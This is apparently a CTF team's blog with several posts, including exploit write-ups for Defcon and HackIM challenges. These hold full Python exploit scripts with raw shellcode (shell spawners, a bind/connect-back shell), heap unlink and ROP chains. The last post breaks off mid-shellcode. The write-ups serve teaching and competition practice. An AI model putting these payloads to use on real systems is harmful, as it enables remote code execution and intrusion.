CSAW CTF 2014 VM

A few weeks ago the CSAW CTF was run from NYU-Poly and over 2500 teams registered to play.

We’re releasing most of the CSAW CTF challenges in a VM for those who were not competing to download and try on their own.

CSAW Quals 2014 VM - MD5: abc2fd91edc1b4f60a88a4183ce4fbe6

Credentials:

Username: user

Password: user

Posted in Uncategorized | Leave a comment

Build It Break Fix It

These past few weeks, we participated in Build it Break it Fix it. Our team consisted of Ancat, Blankwall, ColdHeat and Kiwi. Contestants were tasked with writing correct, secure and fast code in the Build it round. Next, the Break it round has them looking for bugs and vulnerabilities in other teams’ submissions. Finally, the Fix it round allows teams to unify bugs submissions against their team and gain back points.

Preparation

Very little preparation was done prior to the start of the competition. We considered candidate languages for our implementation and quickly narrowed it down to Python and C++. We ended up picking C++ based on the following assumptions:

1.     Most other teams would use Python, giving us a significant speed advantage.

2.     Our performance lead would cushion us from the higher potential for bugs.

Build it

We started the Build it round with a team of four, but two of the team members were busy so we were effectively a team of two for this round. This caused a bit of difficulty to begin with but, was not a huge hindrance.

This year’s specification was for a “secure log” for an art gallery. Correct implementations had to encrypt the log file, and maintain the integrity of the log by disallowing invalid actions (As an example, a person could not enter the same room twice). We broke the program up into approximately 5 major components and implemented each piece.

The log was required to have two separate interfaces, one for reading another for writing. We attempted to be as object oriented as possible and not reuse code anywhere unless absolutely necessary. We split the code into a simple state machine, a log file reader, a log writer, a parsing routine and the cryptography. This allowed us to work independently but still work together towards a coherent whole. Each task came with its own inherent difficulties and was a bit of a challenge to get 100% correct.

For crypto we used OpenSSL and encrypted all log outputs as well as using an HMAC on the file as a whole to ensure no tampering was possible. Ultimately our design decisions produced extremely quick and nimble code.

Due to ongoing issues with the scoring servers, only 3 teams were able to submit valid submissions. The Build it round was extended to next Tuesday. We spent the extra time reviewing our code and throwing tests at it. The amount of issues found after our weekend coding marathon was enormous including many vanilla security issues overlooked due to the brevity of the competition. Thankfully we had the extra time to shore up the code and put together a pretty formidable defense. We also found a few issues with Valgrind and fixed them up ensuring our memory handling was relatively sound. At the end of the round, we were an impressive second place with a score of 1715 only 10 points behind first place! Our results from the build it round can be seen here: https://www.builditbreakit.org/scoreboard/46/breakdown

Break it

The break it round commenced only two short days after the build it round but fortunately we were able to have all four of our team members participate. A major strategy for our team was to using the testing framework provided and write custom tests to attempt to fuzz out problems. We were able to find a few vulnerabilities in some compiled language submissions and even a few logic flaws in the interpreted languages.

Overall our team spent more time auditing the code for vulnerabilities and logic flaws but spent far less time analyzing the spec and looking for deviations. This ultimately showed in our break it performance, which unfortunately was not quite as good as we had hoped. We were able to find some vulnerabilities and solid bugs but those took much more time than originally anticipated.

Our code also seemingly did not stand up well against the break it round. We had a lot of bug submissions and became very curious as to what was the root cause of our problems.

Fix it

During this round we were tasked with reviewing the bug submissions that other teams had made against us, and finding ones with the same root cause. Before this round we were very low on the scoreboard due to numerous bug submissions. Fortunately for us many of these submissions were identical to each other and a few were blatantly wrong.

There were also a few bugs that were due to confusion with the contest specification and the judges were kind enough to award us those points as well. This round coincided with CSAW CTF so the only member of our team that was able to participate in this round was Kiwi. Despite this handicap we were still able to get a large amount of our points back and moved quickly up the scoreboard.

Here is a link to the final scoreboard:
https://www.builditbreakit.org/scoreboard

Conclusion

Ultimately we ended up in third place overall only a few points behind first and second! We are extremely happy with our placement despite using an inherently dangerous language. One of our major issues came from simply not reading the spec as closely as needed causing many of the bugs to simply be from human error.

Overall the contest had a few kinks in the infrastructure and the testing frameworks but the amount of work and dedication shown by the judges was truly amazing. We all enjoyed this contest a ton while also learning a lot about C++ programming as well as exploring some lesser seen languages. We wanted to give a big thanks to all of the organizers and staff that made this competition possible and a special shout out to @awruef and @jp_rider for fielding all of our questions quickly and aptly. Feel free to check out our submission on our Github page and leave comments below!

https://github.com/blankwall/Build_it_Break_it

Edit:

Looks like we actually came in fourth after some last minute score updates. :(

 

 

Posted in Code Auditing, CTF | Leave a comment

Baby’s First Heap Exploit – Defcon Quals 2014

Analysis

This challenge presents us a with 32 bit, ELF executable with debugging information. We connect and see some allocation and freeing happening and can take a reasonable guess as to the fact that there may be a heap overflow. This guess is confirmed with some simple fuzzing, mainly sending input larger then 260 bytes.

First connection

First connection

We then load the binary into Hopper and get a cursory overview of the functionality. The pseudo code produced is shown below:

function sub_804890b {
    esp = (esp & 0xfffffff0) - 0x1340;
    _setvbuf(*stdout@@GLIBC_2.0, 0x0, 0x2, 0x0);
    _signal(0xe, sig_alarm_handler);
    _alarm(0x5a);
    mysrand(0x1234);
    _puts("\\nWelcome to your first heap overflow...");
    _puts("I am going to allocate 20 objects...");
    _puts("Using Dougle Lee Allocator 2.6.1...\\nGoodluck!\\n");
    *exit_func = do_exit;
    _printf("Exit function pointer is at %X address.\\n", exit_func);
    while (*(esp + 0x133c) <= 0x13) {
            randrange(0x200, 0x500);
            if (*(esp + 0x133c) == 0xa) {
            }
            *(esp + *(esp + 0x133c) * 0x8 + 0x10) = malloc(*(esp + 0x1338));
            *(esp + *(esp + 0x133c) * 0x8 + 0x14) = *(esp + 0x1338);
            _printf("[ALLOC][loc=%X][size=%d]\\n", *(esp + *(esp + 0x133c) * 0x8 + 0x10), *(esp + 0x1338));
    }
    _printf("Write to object [size=%d]:\\n", *(esp + 0x64));
    get_my_line(esp + 0x330, 0x1000);
    _memcpy(*(esp + 0x60));
    _printf("Copied %d bytes.\\n", *(esp + 0x1334));
    while (*(esp + 0x133c) <= 0x13) {
            _printf("[FREE][address=%X]\\n", *(esp + *(esp + 0x133c) * 0x8 + 0x10));
            free(*(esp + *(esp + 0x133c) * 0x8 + 0x10));
    }
    (*exit_func)(0x1);
    return 0x0;
}

As can be seen the overview here is relatively clear. The program allocates 20 blocks of memory onto the heap, printing out each address as it goes, then locates the block of size 260 and reads up to 0×1000 bytes of user input into it. If this block overflows into the next block it will corrupt the next block’s metadata. Next the program frees the all the allocations potentially leading to an exploitable condition if the heap metadata is untrustworthy. An important part to note here is the fact that the program has been compiled against Doug Lea malloc rather then a more modern version so protections like safe unlinking are not present. Knowing these things we proceeded to write a standard unlink exploit highlighted in the infamous Once Upon a Free() … , located here: http://phrack.org/issues/57/9.html.

Example unlink technique

Example unlink exploitation technique

 

One additional note: the binary does not have any socket functionality we used socat to emulate the game servers configuration.

Exploitation

First step is to craft the fake metadata to trick the unlinker into thinking the block we corrupt is still valid. We can create a 4-byte write anything anywhere condition by corrupting the forward and backward pointers of the block. Here I got stuck for a few moments deciding what to corrupt with this exploitation primitive. Running the binary with strace we note that mprotect is called on the heap, marking it executable. All that we need to do is divert execution to our block and place shellcode there to achieve arbitrary code execution. We chose to overwrite the GOT with the address of our heap block and fill it with shellcode.  We overwrite printf due to the fact that it is called multiple times after our overwrite happens thus making for a perfect trigger function. From here it is simply a matter of launching our exploit and retrieving the flag. The final exploit is below and also on our github.

from isis import *

debug = False

# parse the output to get heap address we will be writing to
def get_address(x):
	address = ""
	for i in x:
		if "260" in i[20:]:
			address = i
			break
	address = address[12:19]
	return "0x"+address

s= socket.socket()
s.connect(("localhost",2323))
#s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088))
time.sleep(0.1)

#local /bin/sh shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"
	"\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")

if debug: #give time to attach debugger
	raw_input("?")

x = s.recv(0x500)
x = x.split("\n")
final = int(get_address(x),16)
print "HEAP ADDRESS: " + hex(final)

#address of printf in the got
payload = lei((0x0804c004-0x8))
#overwrite with our heap block
payload += lei(final+0x8)
#nop sled + shellcode + nops
payload += "\x90" * 100
payload += shellcode
payload += "\x90"* ((252-100)-len(shellcode))
#large hex numbers to be interpreted as negative values by the unlinker
payload += lei(0xfffffff8)
payload += lei(0xfffffffb)

s.send(payload +"\n")
time.sleep(0.1)
p = s.recv(0x500)
if debug:
	print p
telnet_shell(s)
Posted in CTF | 2 Comments

The Other Kind of Patch

IDAPython is an IDA plugin which allows Python scripts to access IDA’s API, IDC, and all the modules already in Python. Most importantly, IDAPython allows us to manipulate IDA’s disassembly programmatically without leaving the familiarity of Python.

During capture the flags and throughout the process of reverse engineering, simple, easy binary patching is desired. A common approach is to search through a file in a hex editor for a given set of bytes and modify them for the desired effect. This is very often guess work and can become unnecessarily complicated. OllyDbg allows you to assemble an instruction at a given address. Slightly better, but OllyDbg has only recently begun supporting x86_64. Reverse engineers shouldn’t be limited by the supported architectures of their tools.

We at the ISIS lab have written what we call Fentanyl. Fentanyl is ISIS’s IDA patching plugin. With it, patches can be applied to IDA’s disassembly straight from its console window, from keyboard shortcuts, or with an optional context menu. Basically, right click to patch. Save. Done.

Demonstrating some patching in Fentanyl

Using Fentanyl to patch out the CMU bomb lab’s explode_bomb function

Fentanyl exposes shortcuts for nopping out instructions, xrefs to a given address, inverting jumps, saving the binary, and assembling instructions. Since binary modification is often a tricky business, Fentanyl also allows a user to undo and redo modifications to the idb.

Assembling new instructions into a binary is easy with Fentanyl

Assembling new instructions into a binary is easy with Fentanyl

In addition to patching using the aforementioned methods, Fentanyl also exposes other functionality to automate tasks.

The first of which is “binary neutering.” This involves automatically patching out functions which make debugging binaries annoying. At the moment neutering removes calls to fork, alarm, setuid, setgid, getpwnam, setgroups, and chdir.

Demonstrating Fentanyl's binary neutering feature

Demonstrating Fentanyl’s binary neutering feature

A slightly less patching oriented feature, Fentanyl features a code cave finder. Code caves are sections of a binary which are executable in which we can add our own assembly without heavily disturbing the original assembly.

Spelunky makes it easy to find code caves in a binary

Spelunky makes it easy to find code caves in a binary

We’ve been making great use of Fentanyl and while it’s not a cure-all it’s been very helpful in certain scenarios. We’d love for you to submit feature requests and let us know what you think about Fentanyl!

Github: https://github.com/isislab/Fentanyl

Posted in Uncategorized | 2 Comments

Aski Olympic CTF 2014 writeup

Brooklynt Overflow recently participated in Olympic CTF finishing in 29th place. This is a write up of the aski challenge.

The aski program is a large stripped statically compiled 32 bit elf binary that opens a window and plays a video of a skier performing a trial as a series of ASCII symbols.

I suspected that the key was embedded in one of the frames because each frame goes by so quickly. The first thing I did was try grepping for the key, but no luck. I did however find many references to the INFLATE and DEFLATE algorithms (part of zlib), ssl and what I suspect to be AAlib although I didn’t find a copyright string. So, best case scenario there is some compressed ASCII that contains the flag, worst case scenario there is encrypted compressed AA formatted data that gets drawn to the screen. Great, I changed my strategy and looked for the routines responsible for drawing the frames to the window.

I discovered that the function at 0x804AB00 is responsible for opening the window and that the content of the video is played by the function at 0x804ABB0 both of which are called from main. The function 0x804ABB0 accepts two function pointers and a pointer to some data. I discovered that the pointer to data had the magic number for zlib compressed data. I dumped that memory and decompressed it again grepping for the flag but came up dry.

The second function pointer argument on the other hand was interesting. I discovered that by setting a breakpoint on the end of the longest code path I could single step through frames of the video.

Analyzing the video frame by frame I noticed that in the lower left the characters of the key were appearing every several frames. Below is the compilation of important frames.

The key is CTF+WINT3R+S3A50N

You can find the .gdbinit file with the breakpoints and the binary in the ISIS CTF-Solutuions repo on Github.

Posted in Uncategorized | Leave a comment

Make Similiar Olympic CTF 2014 writeup

For 400 points, Olympic CTF provided the Make Similar challenge. The description was “Listen carefully and try to figure out. Hint: 120 LPM.”

The link pointed to a stream for an ogg file which played unintelligible beeps and static. The stream has been backed up with the challenge relevant data here.

First the key is to identify what the audio is. The hint makes it obvious that the data is some sort of fax. Going on this assumption, I found SeaTTY which would take the audio and convert it back into a weatherfax. Apparently meteorologists used to make use of this kind of software to transfer monochrome images. Sounds like the original Snapchat.

SeaTTY will take the playing audio and convert it back into a weather fax. I couldn’t get it to accept a file and translate that so I ended up using Stereo Mix on my computer to play the sounds into a VM running SeaTTY.

About 20 or so minutes later we take our decoded weather fax which looks something like this

weather fax

Weather fax decoded from Olympic CTF’s Make Similar Challenge

The images should repeat given enough time but at this point I was intrigued by the encoded text. Out of instinct I assumed the text was uuencoded but it is in fact xxencoded.

xxencoded text

xxencoded text in the weather fax

Tesseract’s output was close but overall had too many mistakes to be worthwhile. I ended up transcribing all of it by hand which led to a few mistakes. Because my text had some flaws and I was uudecoding it, I recieved completely incorrect files.

At this point I shared out my files and my teammate Brett Giller noticed my mistakes and solved the challenge by fixing my slightly incorrect text (2 letter case mistakes), properly xxdecoding it, and opening the gzip file that was contained.

Inside the gzip we found a python file with the key:

CTF{4BDF4498E4922B88642D4915C528DA8F}

The correctly transcribed text:

section 1 of 1 of file rfax_man
begin 644 rfax_man
h5sg60BSxwp62+57aMLVTPK3i9b-t+5pGLKyPA-FxxuysvFs+BT8+o0dVsM24
hcZHRaWYEHRBGFGtqk-cMV7oqqQRzbobGRB9Kwc-pTHzCDSSMJorR8d-pxdqd
hLWpvQWRv-N33mFwEicqz+UFkDYsbDvrfOC7tko5g1JrrSX0swhn64neLsohr
h26K1mSxnS+TF1Cta8GHHQ-t1Cfp7nh-oZeFuVi5MEynqyzX8kMtXcAynSLQx
hg4o56Pu4YUZHMqDGtczKeCwXU8PZEc4lY0FbDfFfgZpJFC-a-sHGLtGJgCMZ
hksr6XNTedEUdVJqxOO5VaReoH68eEPJ2m6d9mKhlhVE7zw4Yru4DUWRCJH28
hyeth+l2I0gPnEfrTLwAc+-TPS0YKYY3K0np58gVPgdAN8RY7+rQfRDin9JSa
hPG32WG7-rTl3uthvrnDO-wD09GDIRCniuoefs8UsfiWZOLq+0awOrQxAPM+C
hxLwOJ9VUKwdn7dJduLn1KhBucvL1pr5lGiBFfUbL79cFFex+G27kT+fsQ7X5
h87mgPivWhDSQHKPXqpKGniDkYsIYpg66ZWbHp4PfcgtPukElDWENlQPSuNAQ
hnboE4Bd8kyyokt67GgfGvBVS45sMFPtlgKRlG-QPFSgbMHujA3qYemxnuqGx
hp97aXpdKpvAE8zx-oUzazoVFz32X3OxAuiWJhKEjaYKpM7f95yv1S62v+k++
+
end
sum —r/size 7468/769 section (from "begin" to "end")
sum —r/size 36513/540 entire input file
Posted in Uncategorized | Leave a comment

NULLCON CTF Vuln4 – Stack Buffer Overflow

Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln4 service. The author was kind enough to provide source to this challenge which is nice but ultimately not necessary or terribly helpful.


#include
#include
#include
#include
#include <sys/types.h>
#include <sys/stat.h>
#include

#define STACK 64
#define HEAP 64
#define FLAG "./flag"

/* gcc -masm=intel -z norelro -fno-stack-protector -o chall_heap chall_heap.c */

const char *malloc_error = "Memory allocation failed!\n";
const char *file_error = "Opening flag failed!\n";
const char *pwn = "Good Enough? Pwn Me!\n";

void main(int argc, char **argv) {
    char *flag;
    int fd;
    char user[STACK];
    flag = malloc(HEAP);

    if (flag == NULL) {
	write(1, malloc_error, strlen(malloc_error));
	exit(1);
    }

    fd = open(FLAG ,O_RDONLY);
    if (fd < 0){
        write(1, file_error, strlen(file_error));
	exit(1);
    }

    if(setresuid(getuid(), getuid(), getuid()) < 0){
	exit(1);
    }

    read(fd, flag, HEAP-1);
    close(fd);

    write(1, pwn, strlen(pwn));

    read(0, user, 0x800);

   asm (".intel_syntax noprefix;"
   "xor ebx, ebx;"
   "xor ecx, ecx;"
   "xor esi, esi;"
   "xor edi, edi;"
       );

}

Vuln4 is a service that reads data from the user into a stack based buffer which is much too small. The goal is to read the contents of the flag file out of memory. This is made difficult because the author of this program zeros out the registers before returning and the way the stack is organized by the compiler.

Stack_layoyt

flag_fd and flag_heap_buffer will be trashed by our exploit.

At the time we are able to gain control of execution we have no immediate reference to where the heap buffer containing the flag is located. This is not an impossible barrier to overcome. We know that if we can create another allocation of reasonable size with malloc it will be allocated shortly after the block with the flag inside of it. We can then do some pointer arithmetic to locate the flag.

For this challenge, NX and ASLR have been enabled, we cannot return to the stack to execute arbitrary code. Because we have immediate control of the stack and a large stack space to work with we can employ vanilla return oriented programming techniques to perform the computations we need and to write the flag back to ourselves.

Gadget collection

I compiled a list of ROP gadgets from the program and began meditating on which gadgets to use.
I decided on the following:

0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]
0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp
0x080486a7# pop esi ; pop edi ; pop ebp
0x080483a0# pop ebx
0x080484df# pop pop pop ret or equiv
0x0804870f# pop ret or equiv
0x080483f0# malloc@.PLT
0x08048440# write@.PLT

In addition to the previous code snippets I also identified a few valuable data elements:

0x080499e4# write@.GOT
0x080498d8# writable memory
0x08048386# -4 as dword

Return Oriented Program Sequence

  • Trigger a call to write@.PLT. This shouldn’t be necessary but I want to make triple sure the GOT entry for write is populated before we need it.
  • Trigger a call to malloc. The contents of the allocation are important but we can use the return value to find the address of the heap block with the contents of flag.
  • Set the ebx register with the pop ebx gadget. When we execute the gadget add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp we want ebx to be pointing at -4, therefore we set ebx to be the address of -4 + 0x0B8A0008 ahead of time and also each time the gadget executes because it contains a pop ebx.
  • Execute a series of add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp gadgets. These will get eax pointing to the desired allocation in the heap. I determined in my debugger that subtracting 72 from eax would yield the address of the first block, therefore we execute this gadget 18 times.
  • During the last execution of this gadget prepare for the next operation by setting ebx to be the address of write@.GOT +0xe0. The addition of the small constant 0xe0 is to compensate for the next gadget: mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]. This gadget brings everything together. mov dword [esp+0x04], eax writes the appropriate pointer argument onto the stack to prepare for the call to write. We make sure that esi is zero and ebx is the address of write@.GOT +0xe0. when the dereference is made we pull a pointer to write in libc.so and call it.
  • The program crashes after returning from the call and we collect our flag.

Exploit code

#Evan Jensen (wont)
#Stack buffer overflow exploit w/ ROP for vuln4 HackIM CTF

from isis import *
import re

malloc_plt= 0x80483f0
write_plt = 0x8048440
write_got = 0x80499e4
hlt       = 0x8048753 #hlt ret
pppr      = 0x80484df #pop pop pop ret or equiv
pr        = 0x804870f #pop ret or equiv
space     = 0x80498d8 #writable memory

pop_ebx=0x080483a0#: pop ebx

write_stack_call=0x080486f7# mov dword [esp+0x04], eax ; call dword [ebx+esi*4-0x000000E0]

add_eaxpppr=0x0804874e# add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp

pop_esi=0x080486a7# pop esi ; pop edi ; pop ebp

ptr_neg4=0x08048382+4
# (gdb) x /d 0x08048382+4
# 0x8048528 <main+20>:-4

#lei is a wrapper for pack in isis.py
leak_malloc=lei(write_plt,pppr,1,space,1,#make sure the got for write gets filled in
                malloc_plt,pr,8,#eax has pointer to heap
                #we really want a way to subtract some from eax
                pop_ebx,ptr_neg4+0x0B8A0008, #large constant subtracted in next gadget
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,
                add_eaxpppr,0,ptr_neg4+0x0B8A0008 ,0,

                add_eaxpppr,0,write_got+0xe0 ,0, #eax -= 72; ebx=write_got+e0

                #eax is now a suitable ptr for reading from
                #write_plt is now in ebx adjusted for upcomming call
                pop_esi,0,0,0,# pop esi ; pop edi ; pop ebp
                write_stack_call,1,0,316,
                hlt)

filler='\0'*(0x54+8*2)

s=get_socket(('localhost',2323)) #from isis.py
#s=get_socket(('23.23.190.205',8976))
#s.settimeout(100)
raw_input('hit enter to exploit')
s.recv(0x1000)
time.sleep(1)
s.send(filler+leak_malloc)
time.sleep(1)

#print re.findall('[0-9a-fA-F]{32}',s.recv(0x1000))
print s.recv(0x1000)

You can find this exploit and many others in the CTF-Solutions repo on github.

Posted in Bugs, Code Auditing, CTF, Exploitation Mitigation Techniques, Exploitation Techniques, Static Analysis, Uncategorized, Vulnerabilities | Leave a comment

NULLCON CTF Vuln3 – Heap Buffer Overflow

Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln3 service.
Vuln3 is a service exposed to the Internet via xinetd or something similar. It accepts input from you writes it to the stack, parses it and performs actions based on it. It does this until you disconnect. The important parts of user input are dwords at offset 0×28 and 0×50. The dword at offset 0×28 tell the service what operation to perform. The dword at offset 0×50 is used only when you ask the service to allocate some memory for you, it is then used as the argument to malloc.

.text:08048583 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048587 mov eax, [eax+50h]
.text:0804858A mov [esp+230h+my_size_50], eax
.text:08048591 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048595 mov eax, [eax+28h]
.text:08048598 mov [esp+230h+my_verb_28], eax
use_of_my_verb

Cross-referencing the command variable.

The service supports four functions that you can control. Before you can control any of the application’s state an allocation of size 0×100 bytes is made with malloc.

Functions

Allocate a block of size 8 and put two function pointers inside it. The first function pointer points to a function that calls puts("Hello world") The section is a pointer to a function that calls puts("Bye bye World").

Allocate_fnpts

The block we’re going to corrupt.

Allocate a block of a size specified by the dword at offset 50. Call fgets to populate it. Create a block of arbitrary size who’s contents we control.

Malloc_my_block

The block we control.

Call function pointers and free blocks. Check to make sure that we have allocated the block of size 8 with function pointers inside. If we have, call the function pointers and free the block. Also check to see if we have allocated a block with an arbitrary size and free that too.

Call_fnpts_and_free

Where we’re going to hijack control.

Copy the contents as a string from the block of arbitrary size to the block of fixed size that was allocated at the beginning of the program. This will cause a buffer overflow on the heap if the block that we allocate is larger than size 0×100 and doesn’t contain any null bytes.

Heap_block_copy

The vulnerability.

The vulnerability here is a heap buffer overflow. What we need to do is manipulate the heap state such that the block of size 8 immediately follows the block allocated in the beginning of the program. Then we can allocate a large block to overflow the block with a static size. That overflow will corrupt the function pointers. We can then ask the application to call the function pointers thereby escaping intended control flow.

Choosing a suitable trampoline

Astute hackers will note that we do not control the stack however stack layout is predictable. Right before the function is called the value on the top of the stack is a pointer to a buffer that we control.  The pointer is pointing at the stack buffer and because the organizers are nice folks, the stack and heap are executable. That means we have 0×28 bytes to work with for writing shellcode. That’s nice but I was having trouble opening a shell during the competition so I opted for more space. I wrote a small trampoline that punts execution to the heap block that we have arbitrary control over.

RWE

Program header analysis.

The flow of exploitation

  • Allocate the small block. It will be allocated directly after the block of size 0×100
  • Allocate a large block with pointers to pop; ret to overwrite the function pointers in the small block.
  • Copy the large block into the block of size 0×100. If it is large enough it will corrupt the small block.
  • Next we create another large block that will contain our shellcode. Now we have no shellcode length constraints.
  • Issue the command to call the pointers and free the block, naturally divert control before the free. Before the padding to the command dword, put the trampoline (call [esp+0x228]) At the time of the call, [esp+0x228] is the pointer to our heap block.
  • You’re now executing arbitrary code from the heap.
ptr_overwrite_ctrl_flow

The sequence of code that will execute when we hijack control.

#Evan Jensen (wont)
#Heap buffer overflow for vuln3 HackIM CTF

from isis import *
import sys

shell_emulator=( "\x31\xc0\x99\x66\xba\xff\x01\x89\xe1\x31"
                 "\xdb\x6a\x03\x58\xcd\x80\x89\xc5\x85\xc0"
                 "\x74\x52\xc6\x44\x04\xff\x00\x6a\x02\x58"
                 "\xcd\x80\x85\xc0\x74\x0d\x31\xdb\x31\xc9"
                 "\x31\xd2\x6a\x07\x58\xcd\x80\xeb\xcf\xfc"
                 "\x89\xe9\x6a\x20\x58\x89\xe3\x99\x81\xec"
                 "\xff\x01\x00\x00\x89\xee\x29\xce\x8d\x3c"
                 "\x33\x89\x3c\x94\x42\xf2\xae\x89\xee\x29"
                 "\xce\xc6\x44\x33\xff\x00\x85\xc9\x74\x02"
                 "\xeb\xe4\x91\x89\x04\x94\x99\xb0\x0b\x8d"
                 "\x0c\x24\xcd\x80\x31\xdb\x6a\x01\x58\xcd"
                 "\x80"
                 ) #from shellcode repo

get_flag=( "\xeb\x29\x5b\x31\xc9\xb1\x04\x6a\x05\x58\xcd\x80\x93\x89\xe1"
           "\x31\xd2\x66\xba\xff\x01\x6a\x03\x58\xcd\x80\x31\xdb\x43\x89"
           "\xe1\x31\xd2\x66\xba\xff\x01\x6a\x04\x58\xcd\x80\xf4\xe8\xd2"
           "\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00"
           ) #open, read, write flag.txt

def pad_msg(msg):
    msg_len=510
    #msg+='\xcc'*(msg_len-len(msg))
    return msg+'\n'

def allocate_ptr_obj(s):
    alloc_verb=pack("I",0x64)
    msg='A'*0x28+alloc_verb
    msg=pad_msg(msg)
    s.send(msg)

def call_and_free(s):
    heap_trampoline="\xff\x94\x24\x28\x02\x00\x00" #call [esp+0x228]
    shellcode=heap_trampoline

    free_verb=pack("I",0x32)
    msg=shellcode+'A'*(0x28-len(shellcode))+free_verb
    msg=pad_msg(msg)
    s.send(msg)

def allocate_my_block(s,contents):
    alloc_verb=pack("I",0xc8)
    msg='A'*0x28+alloc_verb+'A'*0x24+pack("I",len(contents)+2)
    msg=pad_msg(msg)
    s.send(msg)
    #program calls fgets, waits for us to fill block
    time.sleep(.5)
    s.send(contents)

def copy_my_block(s):
    copy_verb=pack("I",0x12c)
    msg='A'*0x28+copy_verb
    msg=pad_msg(msg)
    s.send(msg)

def crash(s):
    SLEEP_TIME=1
    pop_ret=0x0804879f

    allocate_ptr_obj(s)
    print 'allocated ptrs'
    time.sleep(SLEEP_TIME)

    allocate_my_block(s,pack("I",pop_ret)*0x100)
    print 'allocated large block'
    time.sleep(SLEEP_TIME)

    copy_my_block(s)
    print 'smashed ptr block'
    time.sleep(SLEEP_TIME)

    shellcode=shell_emulator
    allocate_my_block(s,shellcode)
    print 'allocated shellcode'
    time.sleep(SLEEP_TIME)

    call_and_free(s)
    print 'called smashed ptrs'
    time.sleep(SLEEP_TIME)

    return s

if __name__=="__main__":
    s=get_socket(('localhost',2323)) #from isis.py
    #s=get_socket(('23.23.190.205',8888))
    raw_input("hit enter to exploit") #for debugging
    crash(s)
    print 'Enjoy your shell'
    telnet_shell(s) #from isis.py

You can find this exploit and many others in the CTF-Solutions repo on github.

Posted in Bugs, Code Auditing, CTF, Static Analysis, Vulnerabilities | Leave a comment

NullCon Vuln 2 Stack Based Buffer Overflow

Exploitation 200 HackIM

Triage

This challenge gave us a binary called srv2. Running file on the binary we are shown

File analysis

File analysis.

CheckSec  revealed there was no NX but we assumed ASLR was enabled on the challenge server. From there we started the binary up and connect to it on localhost port 6776. I am greeted with a screen asking for input and putting in arbitrary values yields the output “invalid”.

File Response

File Response

Next I start-up my favorite disassembler, Hopper, and take a look to see what is causing this “invalid”. Checking strings we are able to see where “invalid” is cross referenced and are able to trace back into the main function.

Disassembly of comparison

Disassembly of Main Function.

As can be seen above there is a call to strchr and a compare of the returned value. A quick man search shows the strchr  function returns a pointer to the first occurrence of the character ‘c’ in the string ‘s’. Knowing this I wired a brute forcer to brute force printable characters and check output to see when information was recorded. The brute force code is shown below.

def gen_passwords(lst = None):
'''
USE: for i in gen_passwords(): Generates a brute force
list of all chars between decimal 30
and 123 also can take a pre made list
'''
if lst == None:
    lst = []
    for i in range (30, 123):
        lst.append(chr(i))

    for i in range(10):
        for K in itertools.product(lst, repeat=i):
            yield "".join(K)

The result of this showed that appending \\: to the front of a string allowed the information to be properly recorded. After the CTF static analysis of the main function revealed 0x3a, “:”, is easily seen in the disassembled function and no brute forcing was necessary.  Next was to see where the potential vulnerable area was.

Recon

Buffer Overflow

Buffer Overflow.

As can be seen there is an unbounded strcpy leading to a vanilla buffer overflow. The only thing left was to prepare the exploit. We calculated the size needed to overflow the return address to be 277.  If we analyze the stack after returning to an invalid address we can see esp is pointing to data we control.

Overloaded Stack

Corrupted Stack.

Exploitation

Doing a quick look through with object dump reveals a wonderful instruction called “jmp esp”

Jmp Esp

Trampoline.

Since before we are able to control the value at ESP, we can simply put the address of this gadget as our return address and direct execution to shellcode on the stack. A gadget like this is known as a trampoline and is further explained in Bypassing Memory Protections: The Future of Exploitation. This allows us to bypass ASLR by not needing to know where in memory our shell code is but simply use a relative jump to a known register. Below is the final code for this exploit using a connect back shell code binding to port 4444.

from isis import *
from struct import pack

bind_4444 =(  "\xeb\x12\x5b\x31\xc9\xb1\x75\x8a\x03\x34"
"\x1e\x88\x03\x43\x66\x49\x75\xf5\xeb\x05"
"\xe8\xe9\xff\xff\xff\x74\x78\x46\x74\x1f"
"\x45\x2f\xd7\x4f\x74\x1f\x74\x1c\x97\xff"
"\xd3\x9e\x97\xd8\x2f\xcc\x4c\x78\x76\x0f"
"\x42\x78\x76\x1c\x1e\x97\xff\x74\x0e\x4f"
"\x4e\x97\xff\xad\x1c\x74\x78\x46\xd3\x9e"
"\xae\x78\xad\x1a\xd3\x9e\x4c\x48\x97\xff"
"\x5d\x74\x78\x46\xd3\x9e\x97\xdd\x74\x1c"
"\x47\x74\x21\x46\xd3\x9e\xfc\xe7\x74\x21"
"\x46\xd3\x9e\x2f\xcc\x4c\x76\x70\x31\x6d"
"\x76\x76\x31\x31\x7c\x77\x97\xfd\x4c\x78"
